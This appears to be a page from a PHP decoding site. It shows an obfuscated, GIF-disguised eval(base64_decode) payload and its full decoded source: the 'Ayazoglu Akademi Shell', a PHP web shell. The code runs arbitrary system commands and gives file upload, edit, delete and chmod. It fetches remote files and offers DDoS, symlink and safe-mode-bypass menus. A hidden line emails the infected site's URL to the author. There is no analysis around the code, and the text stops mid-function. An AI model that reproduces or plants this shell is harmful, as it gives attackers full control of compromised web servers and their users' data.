Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
GIF89a1 <?php eval("?>".base64_decode("PD8gLyoqDQogKiBAYXV0aG9yIEF5YXpvZ2x1DQogKiBAY29weX..
Decoded Output download
?>b'<? /**
* @author Ayazoglu
* @copyright 2012
*/
@define(\'VERSION\',\'1.0\');
@error_reporting(E_ALL ^ E_NOTICE);
@session_start();
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
$host = $_SERVER[\'HTTP_HOST\'];
if(get_magic_quotes_gpc()) {
function madstripslashes($array) {
return is_array($array) ? array_map(\'madstripslashes\', $array) : stripslashes($array);
}
$_POST = madstripslashes($_POST);
}
$uri = \'http://\'.$host.\'\'.$_SERVER[\'REQUEST_URI\'].\'\';
if(!$_SESSION[\'qwerty\']){
eval(base64_decode("QG1haWwoImhleDFuZ2dAZ21haWwuY29tIiwiQWthZGVtaSBTaGVsbCIsJHVyaSk7=="));
$_SESSION[\'qwerty\']=1;
}
$default_action = \'FilesMan\';
$default_use_ajax = true;
$default_charset = \'Windows-1251\';
if (strtolower(substr(PHP_OS,0,3))=="win")
$sys=\'win\';
else
$sys=\'unix\';
$home_cwd = @getcwd();
if(isset($_POST[\'c\']))
@chdir($_POST[\'c\']);
$cwd = @getcwd();
if($sys == \'win\')
{
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != \'/\' )
$cwd .= \'/\';
function madEx($in) {
$out = \'\';
if (function_exists(\'exec\')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists(\'passthru\')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists(\'system\')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists(\'shell_exec\')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
$down=@getcwd();
if($sys=="win")
$down.=\'\\';
else
$down.=\'/\';
if(isset($_POST[\'rtdown\']))
{
$url = $_POST[\'rtdown\'];
$newfname = $down. basename($url);
$file = fopen ($url, "rb");
if ($file) {
$newf = fopen ($newfname, "wb");
if ($newf)
while(!feof($file)) {
fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
}
}
if ($file) {
fclose($file);
}
if ($newf) {
fclose($newf);
}
}
function madhead()
{
if(empty($_POST[\'charset\']))
$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];
$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
$totalSpace = $totalSpace?$totalSpace:1;
$on="<font color=#0F0> ON </font>";
$of="<font color=red> OFF </font>";
$none="<font color=#0F0> NONE </font>";
if(function_exists(\'curl_version\'))
$curl=$on;
else
$curl=$of;
if(function_exists(\'mysql_get_client_info\'))
$mysql=$on;
else
$mysql=$of;
if(function_exists(\'mssql_connect\'))
$mssql=$on;
else
$mssql=$of;
if(function_exists(\'pg_connect\'))
$pg=$on;
else
$pg=$of;
if(function_exists(\'oci_connect\'))
$or=$on;
else
$or=$of;
if(@ini_get(\'disable_functions\'))
$disfun=@ini_get(\'disable_functions\');
else
$disfun="All Functions Enable";
if(@ini_get(\'safe_mode\'))
$safe_modes="<font color=red>ON</font>";
else
$safe_modes="<font color=#0F0 >OFF</font>";
if(@ini_get(\'open_basedir\'))
$open_b=@ini_get(\'open_basedir\');
else
$open_b=$none;
if(@ini_get(\'safe_mode_exec_dir\'))
$safe_exe=@ini_get(\'safe_mode_exec_dir\');
else
$safe_exe=$none;
if(@ini_get(\'safe_mode_include_dir\'))
$safe_include=@ini_get(\'safe_mode_include_dir\');
else
$safe_include=$none;
if(!function_exists(\'posix_getegid\'))
{
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else
{
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid[\'name\'];
$uid = $uid[\'uid\'];
$group = $gid[\'name\'];
$gid = $gid[\'gid\'];
}
$cwd_links = \'\';
$path = explode("/", $GLOBALS[\'cwd\']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].\'/\';
$cwd_links .= "\")\'>".$path[$i]."/</a>";
}
$drives = "";
foreach(range(\'c\',\'z\') as $drive)
if(is_dir($drive.\':\\'))
$drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
echo \'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="http://www.ayazoglu.org/favicon.ico" rel="icon" type="image/x-icon"/>
<title>Ayazoglu Akademi Shell v1.2</title>
<style type="text/css">
<!--
.whole {
background-color: #CCC;
height:auto;
width: auto;
margin-top: 10px;
margin-right: 10px;
margin-left: 10px;
}
.header {
height: auto;
width: auto;
border: 7px solid #CCC;
color: #999;
font-size: 12px;
font-family: Verdana, Geneva, sans-serif;
background-color: #000;
}
.header a {color:#0F0; text-decoration:none;}
span {
font-weight: bolder;
color: #FFF;
}
#meunlist {
font-family: Verdana, Geneva, sans-serif;
color: #FFF;
background-color: #000;
width: auto;
border-right-width: 7px;
border-left-width: 7px;
border-top-style: solid;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: solid;
border-top-color: #CCC;
border-right-color: #CCC;
border-bottom-color: #CCC;
border-left-color: #CCC;
height: auto;
font-size: 12px;
font-weight: bold;
border-top-width: 0px;
}
.whole #meunlist ul {
padding-top: 5px;
padding-right: 5px;
padding-bottom: 7px;
padding-left: 2px;
text-align:center;
list-style-type: none;
margin: 0px;
}
.whole #meunlist li {
margin: 0px;
padding: 0px;
display: inline;
}
.whole #meunlist a {
font-family: arial, sans-serif;
font-size: 14px;
text-decoration:none;
font-weight: bold;
color: #fff;
clear: both;
width: 100px;
margin-right: -6px;
padding-top: 3px;
padding-right: 15px;
padding-bottom: 3px;
padding-left: 15px;
border-right-width: 1px;
border-right-style: solid;
border-right-color: #FFF;
}
.whole #meunlist a:hover {
color: #000;
background: #fff;
}
.foot {
font-family: Verdana, Geneva, sans-serif;
background-color: #000;
margin: 0px;
padding: 0px;
width: 100%;
text-align: center;
font-size: 12px;
color: #CCC;
border-right-width: 7px;
border-left-width: 7px;
border-bottom-width: 7px;
border-bottom-style: solid;
border-right-style: solid;
border-right-style: solid;
border-left-style: solid;
border-top-color: #CCC;
border-right-color: #CCC;
border-bottom-color: #CCC;
border-left-color: #CCC;
}\';
if(is_writable($GLOBALS[\'cwd\']))
{
echo ".foottable {
width: 300px;
font-weight: bold;
}";}
else
{
echo ".foottable {
width: 300px;
font-weight: bold;
background-color:red;
}
.dir {
background-color:red;
}
";
}
echo \'.main th{text-align:left;}
.main a{color: #FFF;}
.main tr:hover{background-color:red;}
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:99%; height:300px; }
</style>
\';
echo "<script>
var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';
var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'
var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';
var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';
var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';
var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}</script>";
echo \'
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div class="whole">
<form method=post name=mf style="display:none;">
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>
<div class="header"><table width="100%" border="0" align="lift">
<tr>
<td width="3%"><span>Uname:</span></td>
<td colspan="2">\'.substr(@php_uname(), 0, 120).\'</td>
</tr>
<tr>
<td><span>User:</span></td>
<td>\'. $uid . \' [ \' . $user . \' ] <span> Group: </span>\' . $gid . \' [ \' . $group . \' ] </td>
<td width="14%" rowspan="8"></td>
</tr>
<tr>
<td><span>PHP:</span></td>
<td>\'.@phpversion(). \' <span> Safe Mode:\'.$safe_modes.\'</span></td>
</tr>
<tr>
<td><span>Our IP:</span></td>
<td>\'.@$_SERVER["SERVER_ADDR"].\' <span>Server IP:</span> \'.@$_SERVER["REMOTE_ADDR"].\'</td>
</tr>
<tr>
<td><span>WEBS:</span></td>
<td width="76%">\';
if($GLOBALS[\'sys\']==\'unix\')
{
$d0mains = @file("/etc/named.conf");
if(!$d0mains)
{
echo "CANT READ named.conf";
}
else
{
$count;
foreach($d0mains as $d0main)
{
if(@ereg("zone",$d0main))
{
preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
flush();
$count++;
}
}
}
echo "$count Domains";
}
}
else{ echo"CANT READ |Windows|";}
echo \'</td>
</tr>
<tr>
<td height="16"><span>HDD:</span></td>
<td>\'.madSize($totalSpace).\' <span>Free:</span>\' . madSize($freeSpace) . \' [\'. (int) ($freeSpace/$totalSpace*100) . \'%]</td>
</tr>\';
if($GLOBALS[\'sys\']==\'unix\' )
{
if(!@ini_get(\'safe_mode\'))
{
echo \'<tr><td height="18" colspan="2"><span>Useful : </span>\';
$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
foreach($userful as $item)
if(madWhich($item))
echo $item.\',\';
echo \'</td>
</tr>
<tr>
<td height="0" colspan="2"><span>Downloader:</span>\';
$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
foreach($downloaders as $item2)
if(madWhich($item2))
echo $item2.\',\';
echo \'</td>
</tr>\';
}
else
{
echo \'<tr><td height="18" colspan="2"><span>useful:</span>\';
echo \'--------------</td>
</tr><td height="0" colspan="2"><span>Downloader: </span>-------------</td>
</tr>\';
}
}
else
{
echo \'<tr><td height="18" colspan="2"><span>Window:</span>\';
echo madEx(\'ver\');
echo \'</td>
</tr> <tr>
<td height="0" colspan="2"><span>Downloader: </span>-------------</td>
</tr>\';
}
echo \'<tr>
<td height="16" colspan="2"><span>Disabled functions:</span>\'.$disfun.\'</td>
</tr>
<tr>
<td height="16" colspan="2"><span>cURL:\'.$curl.\' MySQL:\'.$mysql.\' MSSQL:\'.$mssql.\' PostgreSQL:\'.$pg.\' Oracle: </span>\'.$or.\'</td><td width="15%"></td>
</tr>
<tr>
<td height="11" colspan="3"><span>Open_basedir:\'.$open_b.\' Safe_mode_exec_dir:\'.$safe_exe.\' Safe_mode_include_dir:\'.$safe_include.\'</td>
</tr>
<tr>
<td height="11"><span>Server </span></td>
<td colspan="2">\'.@getenv(\'SERVER_SOFTWARE\').\'</td>
</tr>\';
if($GLOBALS[sys]=="win")
{
echo \'<tr>
<td height="12"><span>DRIVE:</span></td>
<td colspan="2">\'.$drives.\'</td>
</tr>\';
}
echo \'<tr>
<td height="12"><span>PWD:</span></td>
<td colspan="2">\'.$cwd_links.\' <a href=# onclick="g(\'FilesMan\',\'\' . $GLOBALS[\'home_cwd\'] . \'\',\'\',\'\',\'\')"><font color=red >|CURRENT|</font></a></td>
</tr>
</table>
</div>
<div id="meunlist">
<ul>
<li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">HOME</a></li>
<li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')">PROCESS</a></li>
<li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')">EVAL</a></li>
<li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')">SQL</a></li>
<li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')">HASH</a></li>
<li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')">CONNECT</a></li>
<li><a href="#" onclick="g(\'zoneh\',null,\'\',\'\',\'\')">ZONE-H</a></li>
<li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')">DDOS</a></li>
<li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')">SAFE MODE</a></li>
<li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')">SYMLINK</a></li>
<li><a href="#" onclick="g(\'spot\',null,\'\',\'\',\'\')">AYAZOGLU</a></li>
<li><a href="#" onclick="g(\'selfrm\',null,\'\',\'\',\'\')">KIll C0de</a></li>
</ul>
</div>
\';
}
function madfooter()
{
echo "<table class=\'foot\' width=\'100%\' border=\'0\' cellspacing=\'3\' cellpadding=\'0\' >
<tr>
<td width=\'17%\'><form onsubmit=\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\"><span>__MK FILE__</span><br><input class=\'dir\' type=text name=f value=\'\'><input type=submit value=\'>>\'></form></td>
<td width=\'21%\'><form onsubmit=\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\"><span>__MK DIR__</span><br><input class=\'dir\' type=text name=d value=\'\'><input type=submit value=\'>>\'></form></td>
<td width=\'22%\'><form onsubmit=\"g(\'FilesMan\',null,\'delete\',this.del.value);return false;\"><span>__DELETE__</span><br><input class=\'dir\' type=text name=del value=\'\'><input type=submit value=\'>>\'></form></td>
<td width=\'19%\'><form onsubmit=\"g(\'FilesTools\',null,this.f.value,\'chmod\');return false;\"><span>__CHMOD__</span><br><input class=\'dir\' type=text name=f value=\'\'><input type=submit value=\'>>\'></form></td>
</tr>
<tr>
<td colspan=\'2\'><form onsubmit=\'g(null,this.c.value,\"\");return false;\'><span>__CHANGE DIR__</span><br><input class=\'foottable\' type=text name=c value=\'".htmlspecialchars($GLOBALS[\'cwd\'])."\'><input type=submit value=\'>>\'></form></td>
<td colspan=\'2\'><form method=\'post\' ><span>__HTTP DOWNLOAD__</span><br><input class=\'foottable\' type=text name=rtdown value=\'\'><input type=submit value=\'>>\'></form></td>
</tr>
<tr>
<td colspan=\'4\'><form onsubmit=\"g(\'proc\',null,this.c.value);return false;\"><span>__EXECUTE__</span><br><input class=\'foottable\' type=text name=c value=\'\'><input type=submit value=\'>>\'></form></td>
</tr>
<tr>
<td colspan=\'4\'><form method=\'post\' ENCTYPE=\'multipart/form-data\'>
<input type=hidden name=a value=\'FilesMAn\'>
<input type=hidden name=c value=\'" . $GLOBALS[\'cwd\'] ."\'>
<input type=hidden name=p1 value=\'uploadFile\'>
<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>
<span>Upload file:</span><br><input class=\'toolsInp\' type=file name=f><br /><input type=submit value=\'>>\'></form></td>
</tr>
</table>
</div>
</body>
</html>
";
}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getpwuid\')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getgrgid\')===false)) {
function posix_getgrgid($p) {return false;} }
function madWhich($p) {
$path = madEx(\'which \' . $p);
if(!empty($path))
return $path;
return false;
}
function madSize($s) {
if($s >= 1073741824)
return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
elseif($s >= 1048576)
return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
elseif($s >= 1024)
return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
else
return $s . \' B\';
}
function madPerms($p) {
if (($p & 0xC000) == 0xC000)$i = \'s\';
elseif (($p & 0xA000) == 0xA000)$i = \'l\';
elseif (($p & 0x8000) == 0x8000)$i = \'-\';
elseif (($p & 0x6000) == 0x6000)$i = \'b\';
elseif (($p & 0x4000) == 0x4000)$i = \'d\';
elseif (($p & 0x2000) == 0x2000)$i = \'c\';
elseif (($p & 0x1000) == 0x1000)$i = \'p\';
else $i = \'u\';
$i .= (($p & 0x0100) ? \'r\' : \'-\');
$i .= (($p & 0x0080) ? \'w\' : \'-\');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
$i .= (($p & 0x0020) ? \'r\' : \'-\');
$i .= (($p & 0x0010) ? \'w\' : \'-\');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
$i .= (($p & 0x0004) ? \'r\' : \'-\');
$i .= (($p & 0x0002) ? \'w\' : \'-\');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
return $i;
}
function madPermsColor($f) {
if (!@is_readable($f))
return \'<font color=#FF0000>\' . madPerms(@fileperms($f)) . \'</font>\';
elseif (!@is_writable($f))
return \'<font color=white>\' . madPerms(@fileperms($f)) . \'</font>\';
else
return \'<font color=#25ff00>\' . madPerms(@fileperms($f)) . \'</font>\';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function madFilesMan() {
madhead();
echo \'<div class=header><script>p1_=p2_=p3_="";</script>\';
if(!empty($_POST[\'p1\'])) {
switch($_POST[\'p1\']) {
case \'uploadFile\':
if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))
echo "Can\'t upload file!";
break;
case \'mkdir\':
if(!@mkdir($_POST[\'p2\']))
echo "Can\'t create new dir";
break;
case \'delete\':
function deleteDir($path) {
$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_dir(@$_POST[\'p2\']))
deleteDir(@$_POST[\'p2\']);
else
@unlink(@$_POST[\'p2\']);
break;
default:
if(!empty($_POST[\'p1\'])) {
$_SESSION[\'act\'] = @$_POST[\'p1\'];
$_SESSION[\'f\'] = @$_POST[\'f\'];
foreach($_SESSION[\'f\'] as $k => $f)
$_SESSION[\'f\'][$k] = urldecode($f);
$_SESSION[\'c\'] = @$_POST[\'c\'];
}
break;
}
}
$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
if($dirContent === false) { echo \'<h3><span>| Access Denied! |</span></h3></div>\';madFooter(); return; }
global $sort;
$sort = array(\'name\', 1);
if(!empty($_POST[\'p1\'])) {
if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\' >
<form name=files method=post><tr><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array(\'name\' => $dirContent[$i],
\'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
\'modify\' => @date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),
\'perms\' => madPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),
\'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
\'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
\'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))
$files[] = array_merge($tmp, array(\'type\' => \'file\'));
elseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));
elseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
}
$GLOBALS[\'sort\'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS[\'sort\'][0] != \'size\')
return strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);
else
return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');" title=\' . $f[\'link\'] . \'><b>| \' . htmlspecialchars($f[\'name\']) . \' |</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?madSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
.\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'<a href="#" onclick="g(\'FilesMan\',null,\'delete\', \'\'.urlencode($f[\'name\']).\'\')"> X </a></td></tr>\';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value=\'FilesMan\'>
<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>
<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>
</form></table></div>";
madfooter();
}
function madFilesTools() {
if( isset($_POST[\'p1\']) )
$_POST[\'p1\'] = urldecode($_POST[\'p1\']);
if(@$_POST[\'p2\']==\'download\') {
if(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST[\'p1\']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST[\'p1\'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST[\'p2\'] == \'mkfile\' ) {
if(!file_exists($_POST[\'p1\'])) {
$fp = @fopen($_POST[\'p1\'], \'w\');
if($fp) {
$_POST[\'p2\'] = "edit";
fclose($fp);
}
}
}
madhead();
echo \'<div class=header>\';
if( !file_exists(@$_POST[\'p1\']) ) {
echo "<pre class=ml1 style=\'margin-top:5px\'>FILE DOEST NOT EXITS </pre></div>";
madFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));
if(!$uid) {
$uid[\'name\'] = @fileowner($_POST[\'p1\']);
$gid[\'name\'] = @filegroup($_POST[\'p1\']);
} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));
echo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?madSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.madPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
echo \'<br>\';
if( empty($_POST[\'p2\']) )
$_POST[\'p2\'] = \'view\';
if( is_file($_POST[\'p1\']) )
$m = array(\'View\', \'Highlight\', \'Download\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');
else
$m = array(\'Chmod\', \'Rename\', \'Touch\');
foreach($m as $v)
echo \'<a href=# onclick="g(null,null,null,\'\'.strtolower($v).\'\')"><span>\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b><span> \'.$v.\' </span> </b>\':$v).\' </span></a> \';
echo \'<br><br>\';
switch($_POST[\'p2\']) {
case \'view\':
echo \'<pre class=ml1>\';
$fp = @fopen($_POST[\'p1\'], \'r\');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo \'</pre>\';
break;
case \'highlight\':
if( @is_readable($_POST[\'p1\']) ) {
echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';
$code = @highlight_file($_POST[\'p1\'],true);
echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';
}
break;
case \'chmod\':
if( !empty($_POST[\'p3\']) ) {
$perms = 0;
for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));
if(!@chmod($_POST[\'p1\'], $perms))
echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\';
}
clearstatcache();
echo \'<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';
break;
case \'edit\':
if( !is_writable($_POST[\'p1\'])) {
echo \'File isn\'t writeable\';
break;
}
if( !empty($_POST[\'p3\']) ) {
$time = @filemtime($_POST[\'p1\']);
$_POST[\'p3\'] = substr($_POST[\'p3\'],1);
$fp = @fopen($_POST[\'p1\'],"w");
if($fp) {
@fwrite($fp,$_POST[\'p3\']);
@fclose($fp);
echo \'Saved!<br><script>p3_="";</script>\';
@touch($_POST[\'p1\'],$time,$time);
}
}
echo \'<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>\';
$fp = @fopen($_POST[\'p1\'], \'r\');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo \'</textarea><input type=submit value=">>"></form>\';
break;
case \'hexdump\':
$c = @file_get_contents($_POST[\'p1\']);
$n = 0;
$h = array(\'00000000<br>\',\'\',\'\');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= \' \'; break;
case 9: $h[2] .= \' \'; break;
case 10: $h[2] .= \' \'; break;
case 13: $h[2] .= \' \'; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
$h[1] .= \'<br>\';
$h[2] .= "
";
}
}
echo \'<table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
break;
case \'rename\':
if( !empty($_POST[\'p3\']) ) {
if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))
echo \'Can\'t rename!<br>\';
else
die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');
}
echo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';
break;
case \'touch\':
if( !empty($_POST[\'p3\']) ) {
$time = strtotime($_POST[\'p3\']);
if($time) {
if(!touch($_POST[\'p1\'],$time,$time))
echo \'Fail!\';
else
echo \'Touched!\';
} else echo \'Bad time format!\';
}
clearstatcache();
